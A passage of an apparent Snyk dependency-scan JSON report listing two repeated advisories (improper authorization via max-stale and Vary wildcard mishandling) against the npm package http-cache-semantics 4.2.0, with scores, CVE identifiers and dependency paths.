"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
